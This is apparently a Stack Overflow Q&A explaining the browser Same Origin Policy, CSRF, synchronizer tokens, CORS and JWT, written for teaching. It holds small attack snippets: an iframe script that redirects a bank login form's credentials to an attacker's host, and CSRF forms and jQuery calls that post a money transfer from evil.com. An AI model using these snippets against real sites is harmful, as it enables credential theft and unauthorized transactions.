42

I've read about Same Origin Policy, but for a better understanding of the matter: could anyone please write a simple code (in any language) that will demonstrate an attack that SOP stops?

How was it possible to attack someone before SOP came about?

Ciro Santilli OurBigBook.com
  • 347,512
  • 102
  • 1,199
  • 985
Yotam
  • 9,789
  • 13
  • 47
  • 68

3 Answers3

43
<iframe id="bank" src="https://yourbank.example"></iframe>

<script>
    window.onload = function() {
        document.getElementById('bank').contentWindow.document.forms[0].action =
            'http://example.com';
    };
</script>

The JavaScript code changes the form's action property (the destination, in a matter of speaking), so when you submit the form, you send your credentials to me, not your bank.

If I set up a PHP script on my server that redirects you to your bank, you won't even notice it.

With Same Origin Policy, this attack isn't possible. A site on my domain cannot read or modify the contents of the bank's website.

Stephen Ostermiller
  • 23,933
  • 14
  • 88
  • 109
Dennis
  • 14,264
  • 2
  • 48
  • 57
  • 1
    So the same origin policy exists to inconvenience the pfishers? Now to steal your password they have to copy the facade of the real site onto their malicious site, rather host an iframe. Does this really add any security? – Edward Brey Feb 11 '14 at 04:04
  • 1
    @EdwardBrey: That's only one example. Without the SOP, you couldn't safely load *any* website in an iframe. Since cookies enable automatic logins to many websites, any malicious website you visit could make purchases on eBay, send fake emails to your friends or close your Facebook account. All it takes is a (hidden) iframe and you having used the *stay logged in* option on any of those sites. – Dennis Feb 11 '14 at 12:25
  • If I understand correctly, the type of attacks that you're talking about work by first luring the user to the wrong site. Instead of `https://yourbank.com`, the attacker somehow gets the user to visit `http://mysite.co`, which the attacker controls. The attacker has his choice of tricks to convince the user who doesn't notice the URL that his site is legit. No need to use an iframe: just copy and paste the code from the real site. That said, many banks add a user-specific picture or word before asking for the password, in which case restricting iframes does add value. – Edward Brey Feb 11 '14 at 14:45
  • That applies to the example in the answer, but not to the comment. Using a hidden iframe and taking advantage of session cookies, you can embed an iframe in every blog, forum or whatever and secretly perform actions using the attackee's account without his intervention. – Dennis Feb 11 '14 at 15:15
  • @Dennis Cookies have a "domain" property and are only available on the page where they were loaded as far as I understand. So you couldn't steal the cookie of an iFramed page, what am I missing? – bersling Dec 04 '18 at 07:59
  • @bersling If you're currently signed into a website, loading that website in a hidden iframe means you're signed in there as well. Without the SOP, you don't need to steal the cookie at that point; you can just use JavaScript to perform whatever action you want on that website. – Dennis Dec 04 '18 at 13:20
  • 1
    Same Origin Policy doesn't stop the undesired HTTP request from being performed, it just stops your browser being able to read the result. So a hacker won't be able to view your bank balance but he might be able to transfer money to his account. – David Klempfner Nov 04 '20 at 12:03
16

Attack example 1: Cross-Site Request Forgery (CSRF) with an HTML form

On page at https://evil.com the attacker has put:

<form method="post" action="http://bank.com/transfer">
    <input type="hidden" name="to" value="ciro">
    <input type="hidden" name="amount" value="100000000">
    <input type="submit" value="CLICK TO CLAIM YOUR PRIZE!!!">
</form>

Without further security measures, this would:

  • the request does get sent. The SOP does not forbid this request from being sent.
  • it includes authentication cookies from bank.com which log you in

It is the synchronizer token pattern, alone, even without the SOP, prevents this from working.

Synchronizer token pattern

For every form on bank.com, the developers generate a one time random sequence as a hidden parameter, and only accept the request if the server gets the parameter.

E.g., Rails' HTML helpers automatically add an authenticity_token parameter to the HTML, so the legitimate form would look like:

<form action="http://bank.com/transfer" method="post">
  <p><input type="hidden" name="authenticity_token"
            value="j/DcoJ2VZvr7vdf8CHKsvjdlDbmiizaOb5B8DMALg6s=" ></p>
  <p><input type="hidden" name="to" value="ciro"></p>
  <p><input type="hidden" name="amount" value="100000000"></p>
  <p><button type="submit">Send 100000000$ to Ciro.</button></p>
</form>

as mentioned at: Understanding the Rails Authenticity Token

So if evil.com makes a post single request, he would never guess that token, and the server would reject the transaction!

See also: synchronizer token pattern at OWASP.

Attack example 2: Cross-Site Request Forgery (CSRF) with JavaScript AJAX

But then, what prevents the evil.com from making 2 requests with JavaScript, just like a legitimate browser would do:

  1. XHR GET for the token
  2. XHR POST containing the good token

so evil.com would try something like this (jQuery because lazy):

$.get('http://bank.com/transfer')
// Parse HTML reply and extract token.
$.post('http://bank.com/transfer', {
  to: 'ciro',
  amount: '100000000',
  authenticity_token: extracted_token
})

This is where the SOP comes into play. Although the $.get and $.post do actually send the authenticated request just like the HTML form, the sender's browser prevents the JavaScript code from reading the HTML reply back, because the request was sent to a separate domain!

The Chromium developer console shows an error for it of type:

Access to XMLHttpRequest at http://bank.com from origin http://evil.com has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

which has been asked at: Why does my JavaScript code receive a "No 'Access-Control-Allow-Origin' header is present on the requested resource" error, while Postman does not?

Why not just not send cross request cookies instead?

I was asking myself: but what if implementations had a rule like: "allow any request, but only send cookies on current domain XHR"?

But that would still allow for another type of attack: when authentication is based not on cookies, but on source (IP) of the request.

For example, you are in your company's intranet and from there you can access an internal server, which is not visible from the outside and serves secret data.

Are all cross-origin requests forbidden?

Even forgetting CORS, no, we do them every day!

From MDN:

  • Cross-origin writes are typically allowed: links, redirects and form submissions.

  • Cross-origin embedding is typically allowed: images, external CSS and JavaScript, iframes.

  • Cross-origin reads are typically not allowed: XHR (example above), iframe read.

    However, read access is often leaked by embedding. For example you can read the width and height of an embedded image, the actions of an embedded script, or the availability of an embedded resource (and thus possibly if the user is logged in or not on a given domain)

Other prevention approaches

Other prevention approaches: JWT

JSON Web Token is quite a popular alternative to cookies + synchronizer token pattern circa 2020.

What this method does is:

  • store a signed token in window.localStorage
  • whenever you want to make an authenticated request to the server, send a header Authentication: <token>. Note that this can only be done from JavaScript.

This method works because unlike cookies, localStorage is only available when you make requests from the website itself (through JavaScript), thus dispensing the synchronizer token.

Then, when users first visit the website, they are initially logged off, and a dummy loading page shows.

Then the browser runs the JavaScript is just received from the server, reads localStorage (now that we are on the correct domain already) and sends an authenticated GET request to an API path to get only the data without HTML, usually as JSON.

Finally the JavaScript renders that data on the browser.

This approach has become particularly popular due to the popularity of Single Page Applications, where the simplest implementation approach is this two-step get dummy page then populate it with the API data.

So this basically carries the tradeoffs:

  • advantages:
    • simpler to implement since no synchronizer on every form
    • the usual SPA advantages: you get only data after the initial request, not HTML tags
  • disadvantages:
    • the usual SPA disadvantages:
      • during first load the user might see annoying loading dummy page elements
      • the website is not visible without JavaScript

See also

Ciro Santilli OurBigBook.com
  • 347,512
  • 102
  • 1,199
  • 985
  • Why XHR GET can obtain the token without SOP? – ZillGate Jun 17 '15 at 16:01
  • 1
    @ZillGate why not? XHR (from evil.com) makes a GET request (to bank.com) and retrieves the data (the HTML of the web page containing the token) just like a browser would. The only thing preventing it is the SOP. Let me know if not clear. – Ciro Santilli OurBigBook.com Jun 17 '15 at 17:21
  • Got it. Thank you very much! – ZillGate Jun 18 '15 at 07:10
  • So with SOP the bank knows that the GET request is coming from evil.com instead of their own website and blocks the request? – CyberMew Mar 14 '17 at 03:05
  • 1
    @CyberMew the SOP alone does *not* do that. For example, when you click a link to most websites, you do an authenticated GET, and go directly logged in to the site. The SOP + token (which only works because of the SOP) does have that effect however, since only an user who was already in the bank page can obtain the token. – Ciro Santilli OurBigBook.com Mar 14 '17 at 06:41
  • Please bear with me as I'm not very knowledgable on these. You mention "The SOP prevents you from reading cross request data back into JavaScript", so who implements SOP (i.e. Make sure the SOP code runs)? The browser? If it's the browser, the hacker can just use a browser that doesn't implements SOP and they can get the token from the bank? – CyberMew Mar 14 '17 at 07:17
  • 3
    @CyberMew exactly, it is the browser that implements SOP. If the user uses a vulnerable browser that doesn't implement SOP, the user will get hacked big time by hackers if he ever goes to an untrusted website. Banks however, also use re-authentication (ask password before critical operations). All major browsers implement SOP by default of course. – Ciro Santilli OurBigBook.com Mar 14 '17 at 07:32
  • 1
    Ah I got it now. Thank you very much for explaining in detail. 谢谢! – CyberMew Mar 14 '17 at 08:16
  • 1
    @CiroSantilli新疆再教育营六四事件法轮功郝海东, sorry, I don't understand this part `But that would still allow for another type of attack: when authentication is based not on cookies, but on source (IP) of the request.`. Can you give a more detailed explanation? – Ray Jasson Jan 01 '22 at 19:19
  • 1
    @HolmesQueen I'm thinking imagine your company has a server running at some internal IP e.t. 192.1.1.1, that is not accessible from outside the company (and visible without any other extra auth from inside). In that case, being inside the company network is essentially a form of authentication. If we didn't have the SOP, it would be possible for a malicious website to read data form that internal IP and send it back to an external server. – Ciro Santilli OurBigBook.com Jan 01 '22 at 19:32
1

Adding to the answers above, the browsers actually take different actions on different cross-domain requests.

For requests that do not make potentially dangerous changes (those so-called "simple" requests, for example, a GET request with allowed headers), the browser will go on making the request to the cross-domain site and check in the response headers if Access-Control-Allow-Origin exists. If not, the script will not be able to access any contents of that response.

For requests that may make potentially dangerous changes (those so-called "preflighted" requests, for example, PUT requests), the browser will try to make a request to the cross-domain site using OPTIONS method first. This request will check with the cross-domain site if making the actual request is allowed. If not, the browser will not even send the actual request.

For details like how the browsers determine if a request is "simple" or not, refer to https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS.